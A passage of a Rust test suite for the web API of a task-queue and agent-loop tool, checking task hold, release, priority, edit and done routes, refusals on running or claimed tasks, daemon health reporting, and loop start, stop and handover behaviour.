11124 prior: None,
11125 last: true,
11126 },
11127 &task,
11128 );
11129 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11130 }
11131
11132 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11133 let mut s = flow_run(RunStatus::Implementing, edit);
11134 s.parked = false;
11135 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11136 task_run_view(
11137 "20260902-140501-aaaa",
11138 Some(&s),
11139 RunSlot {
11140 n: 1,
11141 resumed: false,
11142 resumed_later: Some(2),
11143 prior: None,
11144 last: false,
11145 },
11146 &task,
11147 )
11148 }
11149
11150 #[test]
11151 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11152 let v = earlier_pass_view(|_| {});
11153 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11154 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11155 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11156 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11157 assert_eq!(v.exit, RunExit::Interrupted);
11158 assert_eq!(v.attempt, AttemptCost::Unknown);
11159 }
11160
11161 #[test]
11162 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11163 let v = earlier_pass_view(|s| {
11164 s.quota.push(crate::run::QuotaLoss {
11165 seat: "judge-1".to_owned(),
11166 node: "judge".to_owned(),
11167 at: Timestamp::now(),
11168 reset: None,
11169 });
11170 });
11171 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11172 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11173 assert_eq!(v.attempt, AttemptCost::Unknown);
11174 }
11175
11176 #[test]
11177 fn the_current_pass_states_its_recorded_cause_and_cost() {
11178 let slot = || RunSlot {
11179 n: 1,
11180 resumed: false,
11181 resumed_later: None,
11182 prior: None,
11183 last: true,
11184 };
11185 let task = flow_task(&["20260902-140501-aaaa"]);
11186 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11187 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11188 assert_eq!(
11189 (v.exit, v.attempt),
11190 (RunExit::Parked, AttemptCost::Refunded)
11191 );
11192 let spent = flow_run(RunStatus::Blocked, |_| {});
11193 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11194 assert_eq!(v.attempt, AttemptCost::Spent);
11195 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11196 }
11197
11198 #[tokio::test]
11199 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11200 let f = Fixture::start().await;
11201 let queue = f.queue();
11202 let mut task = Task::new(
11203 "spent".to_owned(),
11204 "Try again".to_owned(),
11205 PathBuf::from("/repo/magi"),
11206 Source::Human,
11207 );
11208 task.start("20260902-140502-bbbb".to_owned());
11209 task.fail("agent gave up", 9);
11210 queue.put(&mut task).expect("file the task");
11211
11212 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11213 assert_eq!(held.status, 200);
11214 assert_eq!(held.json()["status_str"], "held");
11215
11216 let released = f
11217 .post(&format!("/api/queue/{}/release", task.id), None)
11218 .await;
11219 assert_eq!(released.status, 200);
11220 assert_eq!(released.json()["status_str"], "queued");
11221 assert_eq!(
11222 released.json()["attempts"],
11223 0,
11224 "release is a real second chance, not an instant re-hold"
11225 );
11226 assert_eq!(
11227 queue.get(&task.id).expect("reload").status,
11228 TaskStatus::Queued,
11229 "the change is on disk, not only in the reply"
11230 );
11231 assert!(
11232 !f.home
11233 .path()
11234 .join("queue")
11235 .join(format!("{}.lock", task.id))
11236 .exists(),
11237 "the claim the mutation took is released again"
11238 );
11239 }
11240
11241 #[tokio::test]
11242 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
11243 let f = Fixture::start().await;
11244 let queue = f.queue();
11245 let mut task = Task::new(
11246 "busy".to_owned(),
11247 "Running right now".to_owned(),
11248 PathBuf::from("/repo/magi"),
11249 Source::Human,
11250 );
11251 queue.put(&mut task).expect("file the task");
11252 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11253
11254 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11255
11256 assert_eq!(res.status, 409);
11257 assert_eq!(
11258 queue.get(&task.id).expect("reload").status,
11259 TaskStatus::Queued,
11260 "the refused hold changed nothing"
11261 );
11262 }
11263
11264 #[tokio::test]
11265 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
11266 let f = Fixture::start().await;
11267 let queue = f.queue();
11268 let mut task = Task::new(
11269 "waiting on the migration".to_owned(),
11270 "Do the thing".to_owned(),
11271 PathBuf::from("/repo/magi"),
11272 Source::Human,
11273 );
11274 queue.put(&mut task).expect("file the task");
11275
11276 let held = f
11277 .post(
11278 &format!("/api/queue/{}/hold", task.id),
11279 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
11280 )
11281 .await;
11282 assert_eq!(held.status, 200, "{}", held.body);
11283 assert_eq!(held.json()["status_str"], "held");
11284 assert_eq!(
11285 held.json()["hold_reason"],
11286 "waiting for 20260101-000000-aaaa to land"
11287 );
11288
11289 let listed = f.get("/api/queue").await.json();
11290 assert_eq!(
11291 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
11292 "the card reads the reason off the same list route"
11293 );
11294
11295 let mut plain = Task::new(
11298 "no reason given".to_owned(),
11299 "Do another thing".to_owned(),
11300 PathBuf::from("/repo/magi"),
11301 Source::Human,
11302 );
11303 queue.put(&mut plain).expect("file the task");
11304 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
11305 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
11306 assert!(held_plain.json()["hold_reason"].is_null());
11307
11308 let released = f
11309 .post(&format!("/api/queue/{}/release", task.id), None)
11310 .await;
11311 assert_eq!(released.status, 200);
11312 assert!(
11313 released.json()["hold_reason"].is_null(),
11314 "a release must clear the reason so the next hold does not inherit it"
11315 );
11316 }
11317
11318 #[tokio::test]
11319 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11320 let f = Fixture::start().await;
11321 let queue = f.queue();
11322 let mut older = Task::new(
11323 "filed first".to_owned(),
11324 "x".to_owned(),
11325 PathBuf::from("/repo/magi"),
11326 Source::Human,
11327 );
11328 older.id = "20260101-000001-aaaa".to_owned();
11329 let mut newer = Task::new(
11330 "filed second".to_owned(),
11331 "x".to_owned(),
11332 PathBuf::from("/repo/magi"),
11333 Source::Human,
11334 );
11335 newer.id = "20260101-000002-bbbb".to_owned();
11336 queue.put(&mut older).expect("file older");
11337 queue.put(&mut newer).expect("file newer");
11338
11339 let before = f.get("/api/queue").await.json();
11342 assert_eq!(before[0]["id"], newer.id);
11343 assert_eq!(before[1]["id"], older.id);
11344
11345 let raised = f
11349 .post(
11350 &format!("/api/queue/{}/priority", older.id),
11351 Some(r#"{"priority":10}"#),
11352 )
11353 .await;
11354 assert_eq!(raised.status, 200, "{}", raised.body);
11355 assert_eq!(raised.json()["priority"], 10);
11356
11357 let after = f.get("/api/queue").await.json();
11358 let names: Vec<&str> = after
11359 .as_array()
11360 .unwrap()
11361 .iter()
11362 .map(|t| t["id"].as_str().unwrap())
11363 .collect();
11364 assert_eq!(names[0], older.id, "the raised task now sorts first");
11368 }
11369
11370 #[tokio::test]
11371 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11372 let f = Fixture::start().await;
11373 let queue = f.queue();
11374 let mut task = Task::new(
11375 "in flight".to_owned(),
11376 "x".to_owned(),
11377 PathBuf::from("/repo/magi"),
11378 Source::Human,
11379 );
11380 task.start("20260902-140502-bbbb".to_owned());
11381 queue.put(&mut task).expect("file the task");
11382
11383 let res = f
11384 .post(
11385 &format!("/api/queue/{}/priority", task.id),
11386 Some(r#"{"priority":9}"#),
11387 )
11388 .await;
11389 assert_eq!(res.status, 400, "{}", res.body);
11390 assert!(
11391 res.json()["error"]
11392 .as_str()
11393 .is_some_and(|e| e.contains("running")),
11394 "{}",
11395 res.body
11396 );
11397 assert_eq!(
11398 queue.get(&task.id).expect("reload").priority,
11399 0,
11400 "the refused write must not partially apply"
11401 );
11402 }
11403
11404 #[tokio::test]
11405 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11406 let f = Fixture::start().await;
11407 let queue = f.queue();
11408 let mut task = Task::new(
11409 "old title".to_owned(),
11410 "old instruction".to_owned(),
11411 PathBuf::from("/repo/magi"),
11412 Source::Agent {
11413 run: "20260101-000000-beef".to_owned(),
11414 node: "implement".to_owned(),
11415 },
11416 );
11417 task.runs.push("20260101-000000-beef".to_owned());
11418 queue.put(&mut task).expect("file the task");
11419 let created_at = task.created_at;
11420
11421 let edited = f
11422 .post(
11423 &format!("/api/queue/{}/edit", task.id),
11424 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11425 )
11426 .await;
11427 assert_eq!(edited.status, 200, "{}", edited.body);
11428 let body = edited.json();
11429 assert_eq!(body["title"], "new title");
11430 assert_eq!(body["instruction"], "new instruction");
11431 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11432 assert_eq!(body["created_at"], created_at.to_string());
11433 assert_eq!(
11434 body["source"]["kind"], "agent",
11435 "editing a task an agent filed must not turn it human: {body}"
11436 );
11437 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11438
11439 let reloaded = queue.get(&task.id).expect("reload");
11440 assert_eq!(reloaded.title, "new title");
11441 assert_eq!(reloaded.instruction, "new instruction");
11442 }
11443
11444 #[tokio::test]
11445 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11446 let tmp = TempDir::new().expect("tempdir");
11449 let repo = tmp.path().join("repo");
11450 std::fs::create_dir_all(&repo).expect("repo dir");
11451 let judge = MOCK_AGENT_TOML.replace(
11452 "printf ok",
11453 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11454 );
11455 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11456 let f = Fixture::with_repo(repo.clone()).await;
11457 let queue = f.queue();
11458 let mut owner = Task::new(
11459 "owner".to_owned(),
11460 "review it".to_owned(),
11461 repo.clone(),
11462 Source::Human,
11463 );
11464 owner.review_branch = Some("magi/ab12/A".to_owned());
11465 queue.put(&mut owner).expect("file the owner");
11466 let mut task = Task::new(
11467 "draft".to_owned(),
11468 "old".to_owned(),
11469 repo.clone(),
11470 Source::Human,
11471 );
11472 queue.put(&mut task).expect("file the draft");
11473 let url = format!("/api/queue/{}/edit", task.id);
11474
11475 let refused = f
11476 .post(
11477 &url,
11478 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11479 )
11480 .await;
11481 assert_eq!(refused.status, 409, "{}", refused.body);
11482 let msg = refused.json()["error"]
11483 .as_str()
11484 .unwrap_or_default()
11485 .to_owned();
11486 assert!(
11487 msg.contains("magi/ab12/A") && msg.contains("force"),
11488 "{msg}"
11489 );
11490 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11491
11492 let forced = f
11493 .post(
11494 &url,
11495 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11496 )
11497 .await;
11498 assert_eq!(forced.status, 200, "{}", forced.body);
11499 }
11500
11501 #[tokio::test]
11502 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11503 let f = Fixture::start().await;
11504 let queue = f.queue();
11505 let mut task = Task::new(
11506 "in flight".to_owned(),
11507 "do not touch".to_owned(),
11508 PathBuf::from("/repo/magi"),
11509 Source::Human,
11510 );
11511 task.start("20260902-140502-bbbb".to_owned());
11512 queue.put(&mut task).expect("file the task");
11513
11514 let res = f
11515 .post(
11516 &format!("/api/queue/{}/edit", task.id),
11517 Some(r#"{"title":"x","instruction":"y"}"#),
11518 )
11519 .await;
11520 assert_eq!(res.status, 400, "{}", res.body);
11521 assert!(
11522 res.json()["error"]
11523 .as_str()
11524 .is_some_and(|e| e.contains("running")),
11525 "{}",
11526 res.body
11527 );
11528 assert_eq!(
11529 queue.get(&task.id).expect("reload").instruction,
11530 "do not touch",
11531 "the refused edit must not change the file"
11532 );
11533 }
11534
11535 #[tokio::test]
11536 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11537 let f = Fixture::start().await;
11538 let queue = f.queue();
11539 let mut task = Task::new(
11540 "busy".to_owned(),
11541 "Running right now".to_owned(),
11542 PathBuf::from("/repo/magi"),
11543 Source::Human,
11544 );
11545 queue.put(&mut task).expect("file the task");
11546 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11547
11548 let priority = f
11549 .post(
11550 &format!("/api/queue/{}/priority", task.id),
11551 Some(r#"{"priority":9}"#),
11552 )
11553 .await;
11554 assert_eq!(priority.status, 409, "{}", priority.body);
11555
11556 let edit = f
11557 .post(
11558 &format!("/api/queue/{}/edit", task.id),
11559 Some(r#"{"title":"x","instruction":"y"}"#),
11560 )
11561 .await;
11562 assert_eq!(edit.status, 409, "{}", edit.body);
11563 }
11564
11565 #[tokio::test]
11566 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11567 let f = Fixture::start().await;
11568 let queue = f.queue();
11569 let mut task = Task::new(
11570 "shipped by hand".to_owned(),
11571 "merged outside the loop".to_owned(),
11572 PathBuf::from("/repo/magi"),
11573 Source::Agent {
11574 run: "20260101-000000-b455".to_owned(),
11575 node: "implement".to_owned(),
11576 },
11577 );
11578 task.runs.push("20260101-000000-b455".to_owned());
11579 task.runs.push("20260101-000000-9af4".to_owned());
11580 queue.put(&mut task).expect("file the task");
11581 let created_at = task.created_at;
11582
11583 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11584 assert_eq!(done.status, 200, "{}", done.body);
11585 assert_eq!(done.json()["status_str"], "done");
11586
11587 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11588 assert_eq!(
11589 reloaded.runs,
11590 ["20260101-000000-b455", "20260101-000000-9af4"]
11591 );
11592 assert_eq!(
11593 reloaded.source,
11594 Source::Agent {
11595 run: "20260101-000000-b455".to_owned(),
11596 node: "implement".to_owned(),
11597 }
11598 );
11599 assert_eq!(reloaded.created_at, created_at);
11600 }
11601
11602 #[tokio::test]
11603 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11604 let f = Fixture::start().await;
11609 let queue = f.queue();
11610 let mut task = Task::new(
11611 "landed while held".to_owned(),
11612 "x".to_owned(),
11613 PathBuf::from("/repo/magi"),
11614 Source::Human,
11615 );
11616 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11617 queue.put(&mut task).expect("file the held task");
11618
11619 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11620 assert_eq!(done.status, 200, "{}", done.body);
11621 assert_eq!(done.json()["status_str"], "done");
11622 assert!(
11623 done.json()["hold_reason"].is_null(),
11624 "a done task cannot still be waiting on something: {}",
11625 done.body
11626 );
11627 }
11628
11629 #[tokio::test]
11630 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11631 let f = Fixture::start().await;
11636 let queue = f.queue();
11637 let runs = f.runs();
11638 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11639 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11643
11644 let mut task = Task::new(
11645 "landed by hand".to_owned(),
11646 "x".to_owned(),
11647 PathBuf::from("/repo/magi"),
11648 Source::Human,
11649 );
11650 task.runs.push("20260101-000000-doa1".to_owned());
11651 task.runs.push("20260101-000000-doa2".to_owned());
11652 queue.put(&mut task).expect("file the task");
11653
11654 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11655 assert_eq!(done.status, 200, "{}", done.body);
11656
11657 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11658 .expect("run still on disk under this fixture's own home");
11659 assert_eq!(
11660 reloaded_run.status,
11661 RunStatus::Superseded,
11662 "closing the task by hand must relabel the earlier blocked attempt exactly \
11663 like the loop's own settle path does"
11664 );
11665 }
11666
11667 #[tokio::test]
11668 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11669 let f = Fixture::start().await;
11674 let queue = f.queue();
11675 let runs = f.runs();
11676 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11677 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11678
11679 let mut task = Task::new(
11680 "closed with nothing actually landed".to_owned(),
11681 "x".to_owned(),
11682 PathBuf::from("/repo/magi"),
11683 Source::Human,
11684 );
11685 task.runs.push("20260101-000000-dob1".to_owned());
11686 task.runs.push("20260101-000000-dob2".to_owned());
11687 queue.put(&mut task).expect("file the task");
11688
11689 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11690 assert_eq!(done.status, 200, "{}", done.body);
11691
11692 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11693 .expect("run still on disk under this fixture's own home");
11694 assert_eq!(
11695 reloaded_run.status,
11696 RunStatus::Blocked,
11697 "the last recorded attempt never landed, so the earlier one must not be \
11698 relabelled as superseded by it"
11699 );
11700 }
11701
11702 #[tokio::test]
11703 async fn unknown_ids_are_json_not_found_on_both_stores() {
11704 let f = Fixture::start().await;
11705
11706 let run = f.get("/api/runs/nosuchrun").await;
11707 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11708
11709 assert_eq!(run.status, 404);
11710 assert_eq!(task.status, 404);
11711 assert!(
11712 run.json()["error"]
11713 .as_str()
11714 .is_some_and(|e| e.contains("run")),
11715 "the error names what was not found: {}",
11716 run.body
11717 );
11718 assert!(
11719 task.json()["error"]
11720 .as_str()
11721 .is_some_and(|e| e.contains("task")),
11722 "the error names what was not found: {}",
11723 task.body
11724 );
11725 }
11726
11727 #[tokio::test]
11728 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11729 let f = Fixture::start().await;
11730
11731 let missing = f.get("/api/health").await.json();
11732 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11733
11734 write_daemon(
11735 f.home.path(),
11736 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11737 );
11738 let stale = f.get("/api/health").await.json();
11739 assert_eq!(
11740 stale["daemon"]["running"], false,
11741 "a minute without a heartbeat is a dead daemon, not a busy one"
11742 );
11743 assert!(
11744 stale["daemon"]["stale_for_secs"]
11745 .as_i64()
11746 .is_some_and(|s| s >= 55),
11747 "staleness is reported so the UI can say how long: {stale}"
11748 );
11749
11750 write_daemon(f.home.path(), Timestamp::now());
11751 let fresh = f.get("/api/health").await.json();
11752 assert_eq!(fresh["daemon"]["running"], true);
11753 assert_eq!(fresh["daemon"]["idle"], false);
11754 assert_eq!(fresh["daemon"]["pid"], 4242);
11755 assert_eq!(fresh["daemon"]["completed"], 7);
11756 assert_eq!(
11757 fresh["daemon"]["current"][0]["task"],
11758 "20260902-140501-aaaa"
11759 );
11760 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11761 }
11762
11763 #[tokio::test]
11764 async fn the_loop_is_not_running_until_something_starts_it() {
11765 let f = Fixture::start().await;
11766
11767 let view = f.get("/api/loop").await.json();
11768 assert_eq!(view["running"], false);
11769 assert_eq!(
11770 view["owned"], false,
11771 "nobody owns a loop that does not exist: {view}"
11772 );
11773 assert_eq!(view["stopping"], false);
11774 assert_eq!(view["last_error"], Value::Null);
11775 assert_eq!(view["daemon"]["running"], false);
11776 assert_eq!(
11777 view["repo"], "/repo/magi",
11778 "the repository a start would use, named before it is started"
11779 );
11780 }
11781
11782 #[tokio::test]
11783 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11784 let f = Fixture::start().await;
11785
11786 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11787 assert_eq!(res.status, 200, "{}", res.body);
11788 let view = res.json();
11789 assert_eq!(view["running"], true);
11790 assert_eq!(
11791 view["owned"], true,
11792 "the loop the UI started is the UI's own to stop: {view}"
11793 );
11794 assert_eq!(
11795 view["merge"],
11796 Value::Null,
11797 "no override was given, so each repository's own config decides"
11798 );
11799
11800 let health = f.get("/api/health").await.json();
11804 assert_eq!(health["loop"]["running"], true, "{health}");
11805 assert_eq!(health["loop"]["owned"], true, "{health}");
11806
11807 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11808 }
11809
11810 #[tokio::test]
11811 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11812 let f = Fixture::start().await;
11813 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11814 assert_eq!(first.status, 200, "{}", first.body);
11815
11816 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11817 assert_eq!(
11818 again.status, 409,
11819 "two loops on one queue race for the same claims: {}",
11820 again.body
11821 );
11822 assert!(
11823 again.json()["error"]
11824 .as_str()
11825 .is_some_and(|e| e.contains("already running the loop")),
11826 "the refusal has to say why: {}",
11827 again.body
11828 );
11829 assert_eq!(
11830 f.get("/api/loop").await.json()["running"],
11831 true,
11832 "and the loop that was already running is untouched by it"
11833 );
11834
11835 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11836 }
11837
11838 #[tokio::test]
11839 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11840 let f = Fixture::start().await;
11841 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11842
11843 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11844 assert_eq!(
11845 res.status, 200,
11846 "the answer must not wait for the loop: a run in flight is tens of \
11847 minutes and the operator is holding a phone: {}",
11848 res.body
11849 );
11850
11851 let view = settled(&f, |v| v["running"] == false).await;
11852 assert_eq!(view["owned"], false);
11853 assert_eq!(
11854 view["stopping"], false,
11855 "a loop that has stopped is not still stopping: {view}"
11856 );
11857 assert_eq!(
11858 view["last_error"],
11859 Value::Null,
11860 "a loop that was asked to stop did not fail: {view}"
11861 );
11862
11863 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11866 assert_eq!(twice.status, 200, "{}", twice.body);
11867 }
11868
11869 #[tokio::test]
11870 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11871 let f = Fixture::start().await;
11872 write_daemon(f.home.path(), Timestamp::now());
11875
11876 let view = f.get("/api/loop").await.json();
11877 assert_eq!(view["running"], false, "not in this process: {view}");
11878 assert_eq!(view["owned"], false, "and not this process's to control");
11879 assert_eq!(
11880 view["daemon"]["running"], true,
11881 "but a loop is alive somewhere, which is what the UI must say"
11882 );
11883 assert_eq!(view["daemon"]["pid"], 4242);
11884
11885 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11886 let res = f.post("/api/loop", Some(body)).await;
11887 assert_eq!(
11888 res.status, 409,
11889 "neither button may pretend to work on someone else's loop: {}",
11890 res.body
11891 );
11892 assert!(
11893 res.json()["error"]
11894 .as_str()
11895 .is_some_and(|e| e.contains("4242")),
11896 "the refusal has to name the process the operator must go to: {}",
11897 res.body
11898 );
11899 }
11900 assert_eq!(
11901 f.get("/api/loop").await.json()["running"],
11902 false,
11903 "and the refusal started nothing"
11904 );
11905 }
11906
11907 #[tokio::test]
11908 async fn a_stale_status_file_is_not_a_foreign_owner() {
11909 let f = Fixture::start().await;
11910 write_daemon(
11911 f.home.path(),
11912 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11913 );
11914
11915 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11916 assert_eq!(
11917 res.status, 200,
11918 "a daemon killed a minute ago must not lock the loop out of its \
11919 own home for good: {}",
11920 res.body
11921 );
11922 assert_eq!(res.json()["running"], true);
11923
11924 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11925 }
11926
11927 #[tokio::test]
11928 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11929 let f = Fixture::start().await;
11930 let before = f.get("/api/health").await.json()["loop_rev"]
11931 .as_u64()
11932 .expect("a loop revision");
11933
11934 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11935
11936 let after = f.get("/api/health").await.json()["loop_rev"]
11937 .as_u64()
11938 .expect("a loop revision");
11939 assert!(
11940 after > before,
11941 "the loop is in-process state, so this counter is the only thing \
11942 that tells a second device the first one started it: {before} -> \
11943 {after}"
11944 );
11945
11946 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11947 }
11948
11949 #[tokio::test]
11950 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11951 let f = Fixture::with_loop(launch_broken).await;
11952
11953 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11954 assert_eq!(
11955 res.status, 200,
11956 "starting it is not the failure: {}",
11957 res.body
11958 );
11959
11960 let view = settled(&f, |v| v["last_error"].is_string()).await;
11961 assert_eq!(
11962 view["running"], false,
11963 "a loop that died must not read as running, or the operator has \
11964 nothing to press: {view}"
11965 );
11966 assert_eq!(view["owned"], false);
11967 assert!(
11968 view["last_error"]
11969 .as_str()
11970 .is_some_and(|e| e.contains("read-only file system")),
11971 "the phone is where a loop that died at 3am is visible: {view}"
11972 );
11973
11974 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11977 assert_eq!(again.status, 200, "{}", again.body);
11978 assert!(
11979 again.json()["last_error"]
11980 .as_str()
11981 .is_none_or(|e| !e.contains("read-only file system")),
11982 "a fresh start does not keep showing why the last one died: {}",
11983 again.body
11984 );
11985 }
11986
11987 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11999 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12000 let home = TempDir::new().expect("temp home");
12001 let runs = home.path().join("runs");
12002 std::fs::create_dir_all(&runs).expect("runs dir");
12003 let ui = Ui::new(
12004 Queue::at(home.path().join("queue")),
12005 Questions::at(home.path().join("questions")),
12006 Talks::at(home.path().join("talks")),
12007 runs,
12008 home.path().to_path_buf(),
12009 PathBuf::from("/repo/magi"),
12010 )
12011 .with_worktrees_root(home.path().join("wt"))
12012 .with_launch(launch_knocking_on_the_way_out);
12013 let looping = ui.looping();
12014 let turns = ui.turns();
12015 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12016 .await
12017 .expect("bind loopback");
12018 let addr = listener.local_addr().expect("local addr");
12019 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12020 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12021
12022 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12023 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12024
12025 let bound = std::sync::Mutex::new(None);
12040 hand_over(
12041 home.path(),
12042 &looping,
12043 &turns,
12044 &|_: &[String]| Duration::from_secs(5),
12045 served,
12046 |_| {
12047 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12048 let attempt = loop {
12049 match std::net::TcpListener::bind(addr) {
12050 Ok(l) => {
12051 drop(l);
12052 break Ok(());
12053 }
12054 Err(e)
12055 if e.kind() == std::io::ErrorKind::AddrInUse
12056 && std::time::Instant::now() < deadline =>
12057 {
12058 std::thread::sleep(std::time::Duration::from_millis(10));
12059 }
12060 Err(e) => break Err(e.to_string()),
12061 }
12062 };
12063 *bound.lock().expect("bound") = Some(attempt);
12064 Ok(1)
12065 },
12066 )
12067 .await
12068 .expect("hand over");
12069
12070 assert_eq!(
12071 *PARK_HEARD.lock().expect("park heard"),
12072 Some(200),
12073 "the deck must answer while the loop is parking"
12074 );
12075 let attempt = bound
12076 .lock()
12077 .expect("bound")
12078 .take()
12079 .expect("the successor was started");
12080 assert!(
12081 attempt.is_ok(),
12082 "and the address must be free by the time it is: {attempt:?}"
12083 );
12084 }
12085
12086 #[tokio::test]
12087 async fn a_newer_daemon_status_file_still_renders() {
12088 let f = Fixture::start().await;
12089 std::fs::write(
12092 f.home.path().join("daemon.json"),
12093 serde_json::json!({
12094 "schema": 2,
12095 "updated_at": Timestamp::now().to_string(),
12096 "idle": true,
12097 "surprise": { "nested": [1, 2, 3] },
12098 })
12099 .to_string(),
12100 )
12101 .expect("write daemon.json");
12102
12103 let health = f.get("/api/health").await;
12104
12105 assert_eq!(health.status, 200);
12106 assert_eq!(health.json()["daemon"]["running"], true);
12107 }
12108
12109 #[tokio::test]
12110 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12111 let f = Fixture::start().await;
12112 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12113 let broken = f.runs().join("20260902-140502-bad");
12114 std::fs::create_dir_all(&broken).expect("run dir");
12115 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12116
12117 let list = f.get("/api/runs").await;
12118 let detail = f.get("/api/runs/20260902-140502-bad").await;
12119
12120 assert_eq!(list.status, 200);
12121 let listed = list.json();
12122 let ids: Vec<&str> = listed
12123 .as_array()
12124 .expect("an array")
12125 .iter()
12126 .map(|r| r["id"].as_str().expect("an id"))
12127 .collect();
12128 assert_eq!(
12129 ids,
12130 vec!["20260902-140501-good"],
12131 "one unreadable run must not cost the operator the whole history"
12132 );
12133 assert_eq!(detail.status, 500);
12134 assert!(
12135 detail.json()["error"]
12136 .as_str()
12137 .is_some_and(|e| e.contains("run.json")),
12138 "the failure names the file to look at: {}",
12139 detail.body
12140 );
12141 let health = f.get("/api/health").await;
12145 assert_eq!(health.json()["runs_unreadable"], 1);
12146 }
12147
12148 #[tokio::test]
12150 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
12151 let f = Fixture::start().await;
12152 let runs = f.runs();
12153 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
12154 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
12155 let path = runs.join("20260902-140502-bbbb").join("run.json");
12158 let mut v: serde_json::Value =
12159 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
